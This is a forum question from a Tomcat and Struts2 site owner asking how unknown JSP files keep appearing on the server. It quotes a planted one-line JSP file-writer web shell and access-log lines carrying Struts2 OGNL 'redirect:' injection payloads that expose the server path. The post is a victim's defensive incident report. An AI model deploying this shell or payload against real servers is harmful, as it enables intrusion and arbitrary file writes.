title: Tomcat Files Getting uploaded - Security Loophole
body: <p>I have a tried hosting a struts2 app on public domain using tomcat 7x with Apache 2.2 fronting tomcat.</p>
  
  <p>I see some malicious activity in my web app folder.</p>
  
  <p>Every time I see some files like indcx.jsp, maneger.jsp, uplod.jsp etc and many such unknown files getting uploaded into tomcat/webapp/application folder.</p>
  
  <p>I manually delete these files every time, but wanted to know if we have any setting or configuration which can avoid such malicious / hacker activity and uploading of such unknown files.</p>
  
  <p>Edit</p>
  
  <p>I have seen such files again and the contents of the file are as below</p>
  
  <pre><code>  &lt;%if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("/")+request.getParameter("f"))).write(request.getParameter("t").getBytes());%&gt;
  </code></pre>
  
  <p>My question is how is someone able to upload this file on my server?</p>
  
  <p>Edit Again </p>
  
  <p>After close analysis this looks a struts2 or xwork security issue or vulnerability now, here are all the logs which tell most of the remaining story</p>
  
  <p>60.15.137.72 - - [27/Jan/2014:17:51:48 +0530] "GET /common/test.action?redirect:$%7B%23a%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest'),%23b%3d%23a.getRealPath(%22/%22),%23matt%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23matt.getWriter().println(%23b),%23matt.getWriter().flush(),%23matt.getWriter().close()%7D HTTP/1.0" 200 74</p>
  
  <p>60.15.137.72 - - [27/Jan/2014:17:51:48 +0530] "GET /common/test2.action?redirect:$%7B%23a%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest'),%23b%3d%23a.getRealPath(%22/%22),%23matt%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23matt.getWriter().println(%23b),%23matt.getWriter().flush(),%23matt.getWriter().close()%7D HTTP/1.0" 200 74</p>
  
  <p>60.15.137.72 - - [27/Jan/2014:17:51:49 +0530] "GET /common/test3.action?redirect:$%7B%23a%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest'),%23b%3d%23a.getRealPath(%22/%22),%23matt%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23matt.getWriter().println(%23b),%23matt.getWriter().flush(),%23matt.getWriter().close()%7D HTTP/1.0" 200 74</p>